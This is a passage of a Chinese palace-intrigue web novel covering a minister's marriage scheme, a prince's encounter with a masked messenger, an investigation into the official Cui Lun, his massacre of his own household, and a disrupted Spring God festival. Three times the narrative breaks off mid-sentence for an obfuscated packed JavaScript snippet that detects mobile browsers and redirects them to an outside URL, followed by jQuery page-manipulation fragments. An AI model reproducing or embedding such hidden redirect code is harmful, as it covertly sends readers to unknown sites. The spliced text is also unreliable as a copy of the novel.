说罢整理好衣物便准备入宫，今日入宫是为了圣人那为了维持他一个慈父形象而准备一年一度的家宴，往次家宴之前周明启都会去找徐战问问圣人的心思，可这次却不一样，徐战自然知道今日是圣人的家宴，在家中等到日薄西山还未见到周明启的到来。 徐战自当是那日夜谈说得话被周明启惦记了，所以不来找自己，但是今日是他第一次失约，徐战心理难免有些担忧，毕竟以后若周明启是君，那他只能是臣，若对于他这样的臣来说，没有一个可以为自己所控制的君，这还是一件很危险的事。 家里的仕女多次来请徐战用膳，都被徐战打发了，直到徐宛露亲自来了，徐战才同女儿移步饭桌。饭桌之上也是胃口平平，草草两口便放下碗筷。徐宛露自然也看出了父亲有心事，嘱咐下人收拾好餐桌之后，对着满脸愁容的父亲问到：“父亲，您可有心事？” 徐战听到徐宛露的问话也是略微回过神来，想来是刚刚有些太过失态，便轻轻摇了摇头，但是就在他摇头的瞬间，一个想法似乎乘虚进入了他的脑子。 “露儿，你母亲走得早，为父之后也并未纳妾，你虽是女儿，但是为父一直将你当作男儿养大，所以你确实也比其他家的千金优秀了不少，但是你终究还是个女孩子，你看现在你也到了婚嫁的年纪了，这京都之中可有看得上眼的公子？”徐战问道。 徐战虽是这样问，但其实他心中已经有了一些盘算，在这一刻之前他从未有过这样的想法，他问完之后，他甚至都希望女儿点名道姓的说出一人，将自己那种不道德想法扼杀，可是终究是没有迎来理想的答案。 二人并未将这个话题持续太久，徐战回房后又是思索一番，派人将徐宛露再度叫到了房中。徐宛露自知最近父亲有心事，虽然她是女儿身，但是父亲也总是喜欢将朝中的大小事同她说说，父亲今日说话如此吞吐，必然是遇上了棘手的事情。 来到徐战房门口，天已经快完全黑了，可是徐战房中并未明灯，徐宛露进了房中，反身带上了门，看见徐战正背身负手站在窗前，他身材高大将从窗户中透进来的光挡了大半，房内愈发显得昏暗，仕女之前就得了嘱咐，远远地站在院子里，并没有上前伺候，徐宛露只好自己拿起火折子将油灯点亮。 徐战也感受到身后有人来，又重重地叹了一口气才走到徐宛露身旁。借着油灯的光亮，徐战仔细打量了女儿一番，像真的很像。既像他那去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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徐战又是长叹一口气说到：“露儿，你说的不错，我确实有这个意思，但其实你也知道，虽然我徐家主家只有你一女，但是旁系中女子也不少，可为父为何要选你。” 不待徐宛露思考，徐战就接着说道：“因为有些事只有你才能做到，她们那些庸脂俗粉根本不懂。嫁给周明启不仅是要我徐氏光辉，更多的是控制这条疯狗，周明启现在借助我的力量已经日益强大，甚至隐隐有拿我徐家做垫脚石的趋势，我绝对不会允许这样的事情发生。老五和老二争太子之位这件事是必然要发生，我们徐家的立场也是不会变的，但是我们要做胜者，而不是在这场太子之争中牺牲者。” 说到这徐战的脸上已经因为激动而薄薄得染上了层红晕了，徐宛露也赶忙趁说话的间隙，将父亲引到书桌前坐下，将桌上的茶水添满。徐战喝了一口茶终于冷静了下来，又继续开口道：“年前圣人给老三指婚事，想必现在也开始考虑老五的婚事了，所以露儿我今日才同你说这番话，既然你愿意，为父也要开始着手准备了。” 说罢又看向了徐宛露，徐宛露这次并未再多说什么还是轻轻地点了点头。 夜色微凉，月如钩，勾住每一个清醒的人，恐怕只有借着那意思醉意，才能将自己心中所想坦诚道出吧。 袁墨小记： 袁墨这几天也是一个头有两个大，自从陛下给了崔伦这个思路，他便开始翻阅父亲的留下的旧籍，却发现这个崔伦竟然还是他们一个熟人。想到在他和袁梅都还年幼时，父亲确实也同崔伦有过来往，当时也有过几面之缘。不过这样一个人最后不论是听命于人也好，还是自谋生路也罢，竟然占着与鬼月有几分相识就屠尽了整个鬼月。 而今这人竟然还这样存活于世，听说也是家庭美满，生活幸福。徒留他们这些苟延馋喘的人，背负着沉重行囊前进。不过袁墨对于现在崔伦还是知之甚少，那么既然是要查人，这潇湘阁是不得不走一趟了。 袁墨选了个黄昏，乔装之后去了潇湘阁，此时潇湘阁夜里面的生意已经开张了，人来人往，袁墨在仕女指引下去了四楼的客房，进来与他做交易却不是普通的普通潇湘阁鸟雀，而是京都潇湘阁阁主沈轻离。 袁墨看到沈轻离也有些许惊讶，所说这沈阁主并不是人人都认识，但是袁墨作为鬼月中人，对于这些重要机构的负责人的身份也自然有自己获取消息的途径。 沈轻离看到袁墨这幅表情也不惊讶，上前行了个礼说到：“袁大人是萧姑娘的朋友，自然也是我们潇湘阁的朋友，由我来接待并没有什么不可。 袁墨也收住了脸上震惊的表情，喝了口茶水，茶香沁入心肺，将这几日的烦闷削减了不少。袁墨说到：“袁墨此次前来是想看看潇湘阁这边，对于崔伦的信息掌握了多少。至于价格都好商量。” 沈轻离听到后，轻轻点了点头道：“具体的信息，待我叫他们整理好，再让袁大人过来取，不过有一点也是我们潇湘阁最近才收到的信息——崔伦是今年春神祭的副监办。” 听到这袁墨也陷入短暂的沉思，不一会拿出一锭银子交给沈轻离，道：“多谢今日沈楼主相告，这些银子沈楼主先收着，待之后的信息拿到，袁某再给潇湘阁添一笔。” 沈轻离也不推脱，收了银子便招呼鸟雀们去干活了，留着袁墨独自在房间深思许久。直至月至中天才起身回府。 39. 春神祭祀2 春色渐浓，虽然夜晚也是春风料峭，但是却携花香而来，这时的家宴，圣人往往喜欢选在御花园中。 几张案桌上放着几道简单的下酒菜，看起来与寻常家中所食别无两样，但是那白玉酒杯可不一般，几位皇子的杯上刻着四脚蛟龙，圣人的也是用金线勾勒的五爪金龙。 圣人的家宴虽然菜色简单，但是每次都要吃到很晚，这次也不例外。圣人的家宴没有觥筹交错，只有圣人希望的推心置腹，还有皇子暗地里的居心叵测。 今日的家宴上圣人说起了周明理，语气中多少有些想念，在座的与圣人都是血脉相连的亲人又怎么听不出他语气中的含义。 老三从小在胡笳城长大，除了几次京都中重要的盛典，叶冥带着周明启来过几次京都，除此之外这一家三口就再也没见过了。 前不久圣人拟了圣旨让老三同萧妖雪成婚，周明理竟然用母亲病重恐要准备白事为由，推迟了婚礼。圣人与叶冥的关系当年在东梁和西丹可谓是无人不知无人不晓，这朝中甚至还传出了周钦德会立叶冥为后，此生不再纳妃。 可是无论坊间传闻多么美好，现实总是很残酷，两国纷争再起，再恩爱的人也抵不过国运。如今叶冥即将病逝的消息又传到了周钦德的耳朵里，他就算再是帝王无情，恐怕也不能再放任周明理独自留在胡笳城。到了这年纪就算是君王也会期待父慈子孝，子孙满堂。 如今看来鸳鸯侣分两地，终身不得见。圣人年轻之时，还有余力控制住自己不去想，但是如今年事渐高，再加上这杯中酒的作用，难免心情有了起伏。 下座的周明志和周明启自然听出圣人的意思，周明理回京放在以前对他们没有多少影响，但是如今周明启可是要娶萧妖雪的，届时周明理的立场，萧妖雪的立场，李治的立场都会对这风起云涌的朝局造成巨大的影响。若是三者不同心，那留给周明志和周明理可以去分的势力还会多些，但是若三者一心，他们将筹码压在那边，那么那一方获得的资源不言而喻。 甚至更糟的情况下他们若是另起炉灶，那么现在京都两家的日子都不好过。 待在座的都吃得差不多后，圣人又同这几位皇子寒暄几句后，便起身离场，其他一些妃嫔也相继离场，半盏茶的功夫就只剩下周明志和周明理了。二人像是约好了一起多坐一会样，都没有起身的意思。 直到周明启端着酒杯晃到周明志身边，这只剩丝竹的家宴才被说话声打破。 “二哥，你说父皇是不是想三哥了？” “能不想吗？都这么多年没见了。” “是呀，父皇对于这亲情是最看重，三哥从小就住得远，恐怕以后父皇是希望他能侍奉跟前的。” 二人便这样有一搭没一搭的说着。突然周明启就将这话头搭到了萧妖雪的婚事上。 “二哥，要我看呀，当时父皇就应该把李家那姑娘指给你，你看你这正妻之位也是空缺，她作为李家的千金，虽然现在不姓李，但是怎么说身份在那，这也配得上你，也不知道父皇怎么想的。” 闻言周明志的神色微微僵了一下，但是这都是转瞬之间，并未留下任何痕迹就恢复自如，只是淡淡地说：“父皇这么做必然有他自己的安排，我们就没必要在这揣测了。倒是你老五，现在老三已经有了婚约，恐怕下一个就是你了，你可有什么想法？” 周明启听到这只是笑笑，打趣的说道：“我惦记二哥正妻的位置。” 周明志已经习惯了自己五弟这混模样，自然也就是一笑而过。他们身在这宫中，自然有自己的一套生存法则，老五和徐家走得近，但是周明志能感觉到，老五不会娶徐家的姑娘，他不是这样会受制于人的人。 如今突然同自己提起这个问题，恐怕一方面是想要试探下自己口风，另一方面他自己恐怕也是早有想法。圣人现在的三个儿子中，未来会参与到这场东宫之争中的人，目前看来也就他和老五，老三除非想要天下大乱，不然他应该会主动的回避这场争夺。 眼见月色深沉，周明启也招呼下人离席，周明志也不再逗留，如今父皇除了给老三指了婚其他并未有其他的举动，他们为人臣为人子此时自然是以不变应万变才是最好的，言多必失的道理，是周明志自从懂事以来就知道的。 踏着月色离开了皇宫，此时街上的人流已经逐渐散去，褪去了万家灯火的京都显得有些空洞，但是这样不再位于人们视线中心的周明志倒也难得有几分自在。 他打发了车夫先行回府，只留了最亲近的一个下人同行。随行的小厮是从小跟着周明志一同长大的吴云，从小在王府里长大察言观色是他的长处，此时吴云只是远远的跟在周明志的后面，他家主子总是少年老成，年少时他就喜欢一个人独行，但是奈何他是皇子，这样的机会少之又少。所以又是他们二人就会趁着月色翻出王府，也是同今日这般吴云远远的跟着周明志，让他享受只有他一人的时光。 行至转角处吴云也并未着急跟上，这条路是他们每次从宫中出来都要走的，吴云自身武功不低，这个距离还是可以清晰地感受到并没有对自家王爷能构成的威胁的存在，所以也便任由周明志先行消失在街角。 而周明志刚转过街角便见一人身着黑色斗篷，就算今晚月明星稀，但是周明志却怎么都看不清那人面容，天生的警觉感，让他止步在距离那人五步之远的位置。 当了这么多年皇子，也遇到过不少的刺杀，周明志自然知道现在他最好的选择就是大声呼救，只需要几息跟在身后的吴云就会赶上来，同时不到半柱香的时间王府内的侍卫就会把这里围得水泄不通。明天整个京都都会知道皇子遇刺，七天之内必然能查到此人下落。 但是此时的周明志却一点都不想喊叫，不知道是因为被对方的气势吓到，还是内心深处有什么悄悄的暗示，这次遇到的并不是危险而是机会。 果然黑色斗篷笼罩之下的人似乎听到了脚步，便缓缓转过身，月光打在斗篷上，周明志看清了斗篷内的景象，那是一张面具，一半喜一半悲，周明志的手缓缓掏出袖中防身的匕首，时刻提防对面这怪人的动作，却在他已经打算叫吴云之时，那怪人先他一步开口，面具中传来的声音不似活人，是像是金戈摩擦后变调组成的干涩的人声。 “二殿下，我们终于见面了。” 周明志还是拿不定对方的立场，不敢轻举妄动，只是安静的等待他继续开口。 不过等到的并不是怪人的言语，而是一块木质令牌映入眼帘。令牌上是一只三眼朱雀。东梁自古有一句古话“凤凰侍主帝王家”民间也会有小商小贩卖带有鸟雀图案的物件，但是只有真正皇子才知道，那枚令牌其实是一枚普通不过的木牌，上面画的凤凰有三只眼睛，十八根尾羽，也只有在真正的持令人手中才会有光彩流转，正如周明志现在看到的这枚。 这次不等周明志开口，对方便先开口了“乍暖还寒，二殿下吃了酒，走夜路还是要小心些。”说罢，只见之前的袍子一软面具和袍子就这样散落在地。同时身后传来吴云焦急的叫唤声。 “殿下，您没事吧。” 吴云走近便看见面前散落的衣袍和面具，以及表情奇怪的周明志，内心瞬间一揪。眼前的景象意味着刚刚这有一人与自家殿下发生了正面交锋，而自己就在这十几步开外却毫无知觉。若不是那人没有杀心，吴云只觉得想到后面的事就全身汗毛倒立。 周明志看到吴云走近便先一步去翻衣袍，果然里面有一封信件，将信件装好后，又捡起面具端详一番，才对着吴云问道：“你刚刚有没有看到什么人？” 吴云疑惑的摇了摇头，又听周明志问道：“那为何这半天你才赶上我？” 吴云更是疑惑了，刚刚自己明明就是正常跟着周明志，也并未走得太慢，转过来就看见自家主子这样呆愣愣的站在这，然后就开始问自己这些奇怪的问题。 周明志看着吴云这样一脸茫然也知道问不出什么，对方真是潇湘阁阁主的就算吴云学武这么多年，也恐怕应付不来。正当要离开时周明志闻到街巷上有一股淡淡的熏香的味道，他也明白了刚刚到底发生了什么事，果然在街角一个不起眼的地方看见一个小小的香炉，只是现在里面只剩香灰了，不过落下来的香灰刚好印出了香炉底部的图案一只三眼朱雀。 吴云也走过来看到了香炉，虽然主子的自己不该多问，但今晚主子都有些反常，所以吴云还是多嘴问了一句：“殿下，这是？” 出乎吴云预料的是，周明志并没有藏着掖着，而是说道：“幻香，吸入后会让人有凭空多出一段时间的幻觉，据说湘湘阁有密法，可以让闻到香气的人看到一些特定的片段。” 听到这吴云是慌了，这不就意味着刚刚殿下肯定是看到了什么，那落在地上的衣袍恐怕是之前就安排好的。这次还是幻香，那要是什么毒物，自己这罪过不就大了，于是急忙问道：“殿下身体可有什么不适？要不要传个御医来给您看看？” 周明志倒是淡定，毕竟他已经知道了对方的身份，但是对方以这样的方式见他，恐怕是对他们之间的合作还没有百分百的肯定，此时这事也不宜声张，便对吴云说道：“我无事，今晚的事情不要对任何人说，你找个地方把这香炉和衣袍处理了。” 吴云本打算先把周明志送回府邸，自己再去处理，不料周明志却一再催促他现在就去，不能让府邸中任何看到这些东西，甚至连着刚刚他还拿在手中把玩的面具一起。 吴云跟了周明志很多年，他一直觉得自己主子的性情太平淡了，淡淡的喜，淡淡的忧。而在刚刚他从周明志身上看到急躁、紧张，甚至还有一丝丝激动。 这几日京都的大家都在热火朝天的准备春神祭，李府自然也不例外，李家作为京都的大家，每年的花车自然是不能少，只是在李治之前，李家并无什么高官，所以京都的春神祭也不过是重在参与，之后李治得了提拔，那一年李家也是倾尽举家之力，自己办了一辆花车，预料之内的得了一金，在此之后李家都不在单独置办花车而是与京都中一些交好的小世家一同，虽说此后得金的次数寥寥无几，但是有李家这个大家大头，也能受到不少关注，所以今年登门邀约李家的也不再少数，不过其实各家心里都有素，之前梅正源一案中中李治那般力挺朝中新秀袁墨，恐怕今年的花车是要同袁家一同办了。 果然春神祭相关事宜确定后，袁墨就收到了李安国亲自送来的邀请信，袁墨本意是想拒绝的李家的好意，打算好好利用这场春神祭彰显一下自己的想法，却被李安国给硬生生劝住了。李安国知道这次袁墨春神祭想做点事情，出门前父亲特意提醒说一定要让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745556|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁墨稳稳当当参加完这场春神祭，所以李安国也只推敲着劝，大抵意思就是让袁墨不要那么早就全盘投入，留一线日后还有大用。 袁墨本想着来场鱼死网破，用自己鬼月后人的身份来揭穿崔伦当年的罪过，但现在经李安国一说他也觉得确实有些不妥，毕竟当年鬼月是罪人，若是当年崔伦身后的人入局，倒打一耙，那他和袁梅恐怕都自身难保，更别说为鬼月平反。看来这次春神祭还要再多加规划，想来晌午无事，倒不如再去一趟潇湘阁。 时节已是深春，晌午的太阳晒得人暖融融的，袁墨独自一人走在街上，想着之前袁梅带回来的关于崔伦的资料，只觉得这些年崔伦在京都过得这般安宁，儿女承欢膝下，不居要职，但是生活得却滋润的很。当年父亲不总说，举头三尺是青天，为何他做了这样丧尽天良的事情还没有遭到报应呢。而鬼月明明上对得起天子，下对得起百姓还要受这般无妄之灾。 若是世上真有厉鬼，那父亲一定会化作饿鬼整日缠着那些负他们之人吧。说到厉鬼缠身袁墨突然想到，之前潇湘阁拿来的消息里有一条，就写着崔伦似乎每月都要服药，甚至还贴心的将药单也附上了。都说潇湘阁的信息能正中要害，现在看来不仅仅在于他们的信息数量多，更在于他们总是能切中要害。袁墨当即放弃了前往潇湘阁，而是转去了附近的一家药店。 将药方交给大夫后，得到的收获果然没有让他失望。大夫说这副药方主要针对臆症，而且症状应该很严重，按照药量来说应该已经服用很多年了，但是服药人时常会忘记服药，所以开药方的大夫下药会比平时重一些，避免他忘记服药造成太严重的后果。而且那大夫估计为了减轻崔伦发病时的痛苦，尽然还用一味禁药安息草，这味药在东梁已经禁了好多年了，为何现在又会出现在这药放上，而且崔伦还吃了这么多年，难道真的就没有人发现吗？ 这个收获可以说让袁墨喜出望外，臆症之人干出什么似乎都是合理的，至于这还魂草，若需要之时，也会是压死崔伦的最后一根草，那就让他也感受下妻离子散的滋味吧。 离开医馆时辰尚早，袁墨的心头大患解决的了大半，看着这街道上当头的太阳，都觉得明亮，本打算在这街上随意逛一逛，才走出几步，便听到身后有个清亮的声音叫住了他。 萧云雁小记： 潇湘阁的办事效率总是令人安心，不出三日，萧云雁就收到了京都潇湘阁传来讯息说林华东将于三日后来潇湘阁听曲。萧云雁自然不敢怠慢，整理整理思绪，准备去见见这位风云人物。 三日时间转瞬即过，萧云雁在潇湘阁侍女的带领下进入了林华东听曲的房间。房中有三个蒙面的乐姬。潇湘阁的乐姬在东梁称第一，那就没有人敢称第二，萧云雁刚刚推开门的时候，就看到了林华东听得摇头晃脑，完全沉醉其中。 但出乎萧云雁预料的是，林华东并没有忽视她的到来，而是在听到她进门的下一秒就从鼓乐中清醒了过来，甚至这一曲都还没有奏完，林华东就遣散了乐姬。 “萧云雁见过宰相大人，这扰了大人雅兴，云雁在此赔不是了。”对方是当朝宰相，萧云雁自然不敢失礼。 “无妨，不过是闲时娱乐罢了。萧姑娘坐在说话，这今日前来是有何事呀？” 礼貌环节过后，萧云雁倒是毫不客气，坐下之后自己倒了一杯茶，说道：“大人，云雁这有一个人，不知大人可认识？” “哦？” 此时房间的门打开，从外面走进一人，正是之前已经被段天行杀死的侯涛。 林华东看到此人也非常震惊，显然他们认识。 不过萧云雁在执行这次任务之前就派人查了，这侯涛正是林华东的人，却不知怎么回事成了将军阁目标。事后萧云雁又根据通报的收受贿赂的名单查到，这名单上大多数人都与林华东的势力站点关系，剩下一部分则是与江家有关，最后一部分则是一群毫无靠山的普通官员。 所以将军阁借着江冬藏的谏言趁机拔除林华东党羽的目的就跃然纸上。 林华东也是黄土埋到脖子的人了，一辈子什么人没见过，自然可以看出这其中的门道。只是他没想到这群本来死无对证的人中会有一个活了下来。 虽然只是在见到侯涛那一瞬眼神的波动，但是也被萧云雁收入眼中。 “大人，这人是我们筹划救的，如今我把人带到你面前了，他现在是生是死完全由你定夺。” “说说吧，有这么重要的人证在手，你还来找老夫是做何打算？” “云雁，有一事不明。” “何事？” “云雁不明白大人的态度。” “哈哈哈，就为了这个？” 萧云雁并没有再做回应，只是静静地等待，因为她能感受到，此时林华东心中也正在上演一场激战。 果然一会之后，林华东仿若自言自语般说道：“这不就是闲时娱乐罢了。” 这对于萧云雁来说已经最好的回答了。 正当萧云雁打算起身离开，林华东又突然说道：“老夫听说平阳巷的铁匠铺子旁边有家糖水铺子味道不错，萧姑娘若是得闲等会可以去那里尝尝。” 这话听得萧云雁满头雾水，但是在看林华东时，他又已经沉醉在乐曲之中，与方才判若两人。 40. 春神祭祀3 这日说来是巧，萧妖雪本意是去潇湘阁看看武榜的进度，刚进去就被沈轻离拉着去说京都春神祭的事情，京都春神祭的副监办换了人这事，萧妖雪也从外人口中听了些许，这个崔伦，她也在潇湘阁的卷宗中看过，此人确实是鬼月案的得利者，当时很多人以为他和李治是一头，恐怕崔伦自己都有这样的想法，在官员调度通知还没出来时，他还去过李府，可是没进去多久就被请了出来，最后也没跟随李治飞黄腾达，李治对他与陌生人无异，之前想抱崔伦大腿的人也彻底死心了，他也就烂在京都的那滩烂泥中，无人再提。 如今过了这么多年突然又将他提来做这副监办，萧妖雪倒也不在意，毕竟京都的春神祭对于李家只是一个过场，对于潇湘阁更是只是一场闹剧。但是沈惊鸿却提醒萧妖雪袁墨在查崔伦，当年很多人把崔伦和李治绑在一起，若是这次崔伦出了事，说不好崔伦还会抱着让李治拉他一把的想法，这恐怕会对李相又不好的影响。 萧妖雪听完后并不是很担心会因为崔伦而拖累了父亲，但是毕竟帝王心思难猜，能避免这样的误会自然是好的。而如今若是有人要针对崔伦，那这个人要么就是袁家兄妹，要么就是他们授意做的。而这好巧不巧萧妖雪刚出潇湘阁就遇到了袁墨，这样的事情还是当面谈谈更好，这样李家也不至于毫无准备。 袁墨听到身后有人叫之后也是一愣，内心忽然一揪，担心是有人看到自己去药店，已经开始找理由准备搪塞。可是转身之后看到是萧妖雪后，也是松了一口气。二人见面寒暄几句，便决定去附近的茶楼坐坐。 最近京都刚到一种茶叶名为点翠山，不仅味道清香扑鼻，喝起来也别有一番风味。杯中除了茶汤，还有着一颗茶杆，竖直的悬浮在茶汤中。如果喝得过快或者举杯动作过快，这茶杆都会倒下，为此不少人都还以此为乐。 萧、袁二人坐下后，却都没谈春神祭的事宜，此时他们既不是潇湘阁中的主顾，也不是朝堂之上的政客，只是坊间的好友，如此品茶闲聊才是他们该做的事。 袁墨今日心中有事，所以话不多，反倒是萧妖雪多次挑起了话题。最后一壶茶快喝完了，这话题自然又回到了点翠山上面。 萧妖雪看着杯中的淡色的茶汤说到：“袁墨兄，我回京都这段时间，我感受到了，京都中的事情，真就像这点翠山一般，用力多少分毫，这茶杆都站不稳。” 袁墨却是一笑道：“萧姑娘武艺高强，这习武的手怎么会端不稳，那气息稍稍释放一点，这这茶杆不就恢复原样了吗？” “那是自然，但是怕的不是自己的手不稳，而是别人有心无意的来碰一下。你说我这习武好多年的人都会担心，那其他那些本就心怀鬼胎的，不是更担心，恐怕最后茶汤洒了还以为真是自己的手抖呢。“ 说到这二人同时噤声，对视了一眼。袁墨何等聪明，又怎会听不出萧妖雪话中之意，弦外之音，至于该怎么做，二人心中都自有打算。 春神祭当天，整个刑案司的所有官员都在司内待职，就在大家都认为无事发生的时候，刑案司的宁静被一阵急促的打门声给打破了。 门打开后却看到一个极其狼狈的女子倒在门口，见到官老爷开了门这女子终于放松了下来，两眼一黑，就晕了过去。 袁墨和季执礼也听到了门口的动静，急忙忙出来查看。其中的一个小吏认出了女子的身份，说道：“诶，这不是仙乐楼的晴儿吗？听说昨天有位官老爷给包了，这怎么弄成这样。” 终于在众人的努力下，女子悠悠转醒，就算已经身处刑案司，但是她的眼神中还是充满了恐惧。众人又是一番安抚，终于这姑娘可以说出些完整的话了。 “奴家是仙乐楼的舞姬，名叫晴儿，昨天崔大人府上来人订了我们今夜去崔府表演，我们就寻思昨天先去崔府准备准备。没想到没想到竟然遇到这样的事情。” 此时晴儿似乎又想到什么非常可怕的事情，忍不住又开始发抖。 袁墨主动上前，给她递了一杯安神静心的茶水，说道：“晴儿姑娘，放轻松些，你现在已经安全了。你要做的只是告诉我们到底发生了什么？” 似乎是袁墨的安慰起了作用，晴儿又开始断断续续说了起来“昨日我们本来一切顺利，可是不知崔大人怎么回事，突然提起剑就开始伤人，先是几个姐妹。后来他们崔府的人上去阻拦，没想到他竟然连他的家人都杀了。后来大家四散逃开，崔大人就追着杀，我比较幸运躲了起来他没有找到，所以逃过一劫。” 听到这刑案司的众人再也坐不住了，袁墨和季执礼急忙亲自带人前去崔府，留下几人照看晴儿。 到了之后才发现这府中横七竖八躺着的全是人，而且无一例外，这些人都没了生机。刑案司的人在府中转了一圈最终在崔伦的卧房发现了崔伦——这府中唯一的活人，但看起来已经不是一个正常人了。 季执礼和袁墨见到崔伦后俱是一惊，纵使是季执礼这样已经在刑案司侦破各种奇案的官员，也难免皱起了眉头。只见崔伦虽然身着今日春神祭所需要礼袍，但是脸上身上都是血渍，头发散乱。眼鼻处流出眼泪和鼻涕同脸上的血渍已经混在一起凝固了，整个人散发着一股血腥味，眼神涣散，看起来疯疯癫癫的。 看到刑案司的人进来也完全没有反应，直到一个刑案司的小吏上前用一旁的椅子戳了戳他，崔伦的目光才有些许聚焦。但是就在眼神聚焦之后的下一秒，只见崔伦突然暴起，一步跨到季执礼面前，紧紧抓住季执礼的肩膀，断断续续地说到：“季大人……刑案司，季大人……太好了，我要见圣人，我要见圣人。我立功了！我立功……” 只见崔伦话还没说完，余光就瞥见了站在季执礼身旁的袁墨，原本兴奋荡然无存，而转变一股深深的惊惧，指着袁墨，口齿更加不清楚：“鬼……鬼月，余孽，是余孽……抓他……别过来……不是我……”话音未落，便晕了过去。刑案司的人面面相觑，最后按照季执礼的命令，袁墨带人将崔伦押回刑案司，他自己则是速去见驾。 春分时节，春神祭如期举行，祭礼司的花车打头阵，造型一尊巨大香炉，炉身之上写着铭文，密密麻麻的，行过之时无人在意，炉内有三柱高香，本来有纱做的香烟飘渺的样子，却因为无风，根本飘不起来，意境上便掉了一个档次。 跟在其后的是徐家的花车，上面的造型是战场的还原，还安排了些将士在上面演练，时不时吼出有力的口号，倒是很有几分气势。徐家的花车不似李家那般是几个世家一同置办的，而是由徐家主家带着旁系一同操办的，所以虽同是当朝宰相，却总是走在李家之前。 不过这事也就寻常百姓议论得多，李家却并不在意，毕竟这样几家联办，就算李家做主也可以省去不少事情。正如今年李家同袁家和黄家一同置办，李治只是定了大致的形式，其他的就丢给萧妖雪、袁梅、黄轻落去打理，李安国则是需要时候帮几个姑娘搭把手。到最后李治看到成果的时候，就花了十多天的时间，在在李安国看来，这比前几年的花车，那可是好了太多，说不好真有资格夺一夺那魁首。花车架子本就高大，一个身着将军服饰的竹编巨人，持剑利于车上，却与背对花车前进方向，而他的肩上披着一块褴褛的披风，看起来充斥着岁月沉积的痕迹。但在巡游那一日，却是因为无风，而少了几分气势。 正当花车的队伍行到了圣驾跟前，祭礼司的花车已经通过开始回转，徐家的花车正在圣驾之前，李家的花车将近，此时本是一日无风的京都竟然起了疾风，高香的白烟飘起，白纱中有黑色点缀使得香烟更加生动。将军的披风也同样飘起，只是不同于白烟那般，披风随风而起，却是鸟雀的形状，于将军身后，随着疾风奔向天空，也奔向圣人。无论是高台之上的圣人，还是街道两侧的百姓，都看到了这番景象，确实壮观。只听人群中一个老儒生说到：“将军持剑守国门，开东梁，此为始亦为史，白鸟向空，向圣人，此为终亦为忠，而无论始终唯有?长风可达，妙哉！妙哉！” 而就在京都几万只眼睛都盯着李家花车看时，一只弩箭穿过李家花车，划断了几根布带，使那几只白鸟真正的飞向了天空，但是弩箭的速度并未减慢，而是向着那高大的香炉飞去，将几柱高香上的白纱一同带落定在不远处的城墙之上。 圣驾两侧的士兵已经做好了护驾的准备，但是之后的京都，除了安静就再也没有任何动静了。 下去查看的士兵不一会就已经将弩箭和白纱一同送到圣驾之前，圣人身边侍奉的公公接过白纱后只是简单的扫了一眼，冷汗便从额头上冒了出来。白纱上黑色的点缀赫然是一段段笔记，而只要简单扫一眼鬼月那两字就足够让人心惊胆战。 侍奉的公公不敢多看，急忙将白纱送到圣人面前，正当圣人看那白纱之时，一人匆忙穿过花车队伍，来到了城楼之下，与下面的兵士只是交谈几句，便上了城楼，来到圣人跟前。 叩拜道：“臣有要事启奏。” 周钦德看了看手中的白纱和弩箭眉头一皱道：“春神祭刚刚遇袭，此刻还没有下落，朕的生命还有危险，季执礼你倒说说你有什么要事要现在说，要你一个刑案司的正职亲自来说。” 季执礼没有圣人的旨意并不敢起身，只得跪着道：“圣人，今日辰时刑案司接到了一桩报案，事关崔伦，依报案人所述，崔伦似是犯病动手屠了整个府邸，除了崔伦的家眷之外，还有他们花钱请的仙乐楼的舞姬。” 在季执礼讲述期间，圣人并未说什么，只是认真的看着这白纱的文字，季执礼说完了，他应并未表态，圣人身旁的的公公自然知道，朝廷命官被刺这是大事情，但是现在摆在面前的是圣人也遇到了刺客，那么刑案司这事却是可以之后再议，于是对季执礼劝说道：“季大人，现在春神祭也有一大堆事情要查，您看既然崔家已经遇害，崔伦也已经由刑案司收下，要不此事就先放放？” 还不等季执礼开口，圣人竟然抢先一步说道：“查！此等大事怎么能等等，崔伦家的事情交由刑案司去查，季执礼朕记得你也是巡检司的人，春神祭的事情就由你带一队巡检司的去调查真伪。” 季执礼一听也是震惊，要说圣人让他查他都能理解，但是这查也不算奇怪，但是要连上春神祭一起查就奇怪了。听他们口中的言辞，春神祭这显然是遇上了刺客，这要查也是归大内查，这怎么也落到了刑案司的头上。 崔伦家中几十口的人命官司，甚至还涉及了外人，就算在刑案司历年的案子中都不算小的，而这崔伦看着是没死，但多半是疯了，也不知道他能提供多少作用，单单这几乎要动用整个刑案司的力量，好在圣人准许巡检司接受春神祭的案子，此等差事要是真的揽下来，那就是把刑案司一众官员的脑袋往外面送。 只是若是自己去主办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769689|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春神祭的案子，就算刑案司有袁墨恐怕还是分量不足，但思来想去季执礼还是推脱道：“陛下，崔家之案事关重大，若是只有副职主持恐怕难以服众，还望陛下三思。” 话音落下圣人却将那白纱扔到季执礼面前，同时圣人的声音也从前方传来：“你先看完再说，这春神祭到底是不是刺杀。” 